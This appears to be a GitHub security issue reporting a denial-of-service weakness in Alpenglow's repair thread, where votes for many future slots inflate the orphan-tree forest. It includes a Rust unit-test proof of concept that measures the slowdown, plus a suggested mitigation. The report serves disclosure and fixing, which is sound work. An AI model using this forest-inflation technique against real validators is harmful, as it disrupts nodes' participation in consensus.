Skip to content

Alpenglow: Risk of denial of service in Repair thread due to large iterations #13374

Description

@R9295

Issue Description

A validator participating in an epoch can submit votes for up to 90_000 slots in advance.
Each vote is forwarded to RepairWeight::add_voters. A slot several slots in advance has no parent, which results in
RepairWeight::add_voters inserting a tree for every single node orphan tree.

} else {
// We guarantee that `earliest_ancestor` does not already exist in
// `self.trees` otherwise `tree_root` would not be None
self.insert_new_tree(earliest_ancestor);
(
TreeRoot::Root(earliest_ancestor),
self.trees.get_mut(&earliest_ancestor).unwrap(),
)
}

Thus, N distinct voted slots create N persistent orphan trees.

In a loop, RepairService calls get_best_weighted_repairs. This function's work scales with forest size (where N = votes).

fn identify_repairs(
blockstore: &Blockstore,
root_bank: Arc<Bank>,
_repair_info: &RepairInfo,
repair_weight: &mut RepairWeight,
repair_eligibility: &mut RepairEligibility,
outstanding_repairs: &mut HashMap<ShredRepairType, u64>,
repair_metrics: &mut RepairMetrics,
) -> Vec<ShredRepairType> {
let mut purge_outstanding_repairs_us = Measure::start("purge_outstanding_repairs_us");
// Purge old entries. They've either completed or need to be retried.
outstanding_repairs.retain(|_repair_request, time| {
timestamp().saturating_sub(*time) < REPAIR_REQUEST_TIMEOUT_MS
});
purge_outstanding_repairs_us.stop();
repair_metrics.timing.purge_outstanding_repairs_us += purge_outstanding_repairs_us.as_us();
repair_eligibility.set_root(root_bank.slot());
repair_weight.get_best_weighted_repairs(
blockstore,
root_bank.epoch_stakes_map(),
root_bank.epoch_schedule(),
MAX_ORPHANS,
MAX_REPAIR_LENGTH,
MAX_UNKNOWN_LAST_INDEX_REPAIRS,
MAX_CLOSEST_COMPLETION_REPAIRS,
repair_eligibility,
repair_metrics,
outstanding_repairs,
)
}

  • get_best_orphans builds a vector over all self.trees and sorts it.
  • get_best_unknown_last_index performs O(N) RocksDB reads
  • get_best_closest_completion performs O(N) RocksDB reads

The results in the single repair thread performing excessive RocksDB lookups per repair iteration.

PoC

Please place the PoC in core/src/repair/repair_weight.rs and run with cargo test poc_repair_thread_dos_forest_inflation -- --show-output to see it scale.

    /// A single staked voter inflates the repair forest 1:1
    /// with the number of distinct future slots it votes for (no upper bound
    /// The per-iteration cost of `get_best_weighted_repairs`
    /// then grows with the forest size while the number of useful repairs stays
    /// capped by the limits.
    #[test]
    fn poc_repair_thread_dos_forest_inflation() {
        use {
            crate::repair::repair_service::{
                MAX_CLOSEST_COMPLETION_REPAIRS, MAX_ORPHANS, MAX_REPAIR_LENGTH,
                MAX_UNKNOWN_LAST_INDEX_REPAIRS,
            },
            std::time::Instant,
        };

        let ledger_path = get_tmp_ledger_path!();
        let blockstore = Blockstore::open(&ledger_path).unwrap();
        let epoch_stakes = HashMap::new();
        let epoch_schedule = EpochSchedule::default();
        let attacker = vec![Pubkey::new_unique()];

        const ROOT: Slot = 0;
        const FIRST_ATTACK_SLOT: Slot = 1;

        println!(
            "\n  junk slots |   trees | useful repairs |  time/iteration"
        );
        println!(
            "  -----------+---------+----------------+-------------+----------------------------"
        );

        let mut baseline_us = 0u128;
        for &n in &[0u64, 5_000, 50_000] {
            let mut repair_weight = RepairWeight::new(ROOT);

            let votes: Vec<(Slot, Vec<Pubkey>)> = (0..n)
                .map(|i| (FIRST_ATTACK_SLOT + i, attacker.clone()))
                .collect();
            repair_weight.add_voters(
                &blockstore,
                votes.into_iter(),
                &epoch_stakes,
                &epoch_schedule,
            );

            // the forest grew 1:1 with attacker votes
            // and is bounded only by `slot >= root`. (+1 = the rooted tree.)
            assert_eq!(repair_weight.trees.len() as u64, n + 1);

            let mut outstanding = HashMap::default();
            let start = Instant::now();
            let repairs = repair_weight.get_best_weighted_repairs(
                &blockstore,
                &epoch_stakes,
                &epoch_schedule,
                MAX_ORPHANS,
                MAX_REPAIR_LENGTH,
                MAX_UNKNOWN_LAST_INDEX_REPAIRS,
                MAX_CLOSEST_COMPLETION_REPAIRS,
                &mut RepairEligibility::default(),
                &mut RepairMetrics::default(),
                &mut outstanding,
            );
            let elapsed_us = start.elapsed().as_micros();

            let max_output = MAX_ORPHANS
                + MAX_REPAIR_LENGTH
                + MAX_UNKNOWN_LAST_INDEX_REPAIRS
                + MAX_CLOSEST_COMPLETION_REPAIRS;
            assert!(repairs.len() <= max_output);

            println!(
                "  {:>10} | {:>7} | {:>14} | {:>8} us |",
                n,
                repair_weight.trees.len(),
                repairs.len(),
                elapsed_us,
            );

            if n == 0 {
                baseline_us = elapsed_us.max(1);
            }
            if n == 50_000 {
                assert!(
                    elapsed_us > baseline_us * 5,
                    "per-repair iteration cost scales with attacker forest size \
                     (idle={baseline_us}us, attack={elapsed_us}us)"
                );
            }
        }
    }

Risk

A strained repair thread results in slowing of block replay and voting, thus disrupting a node's participation in consensus. While this attack requires a staked byzantine validator, a single attacker can target multiple nodes.

Mitigation

As mitigation, we recommend implementing a general limit on orphan trees in RepairWeight; evicting based on stake (the lower, the higher likelihood of eviction). RepairWeight can then prune as slots advance

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    consensus-teamIssues relevant to the consensus team

    Type

    No type

    Fields

    Priority

    None yet

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions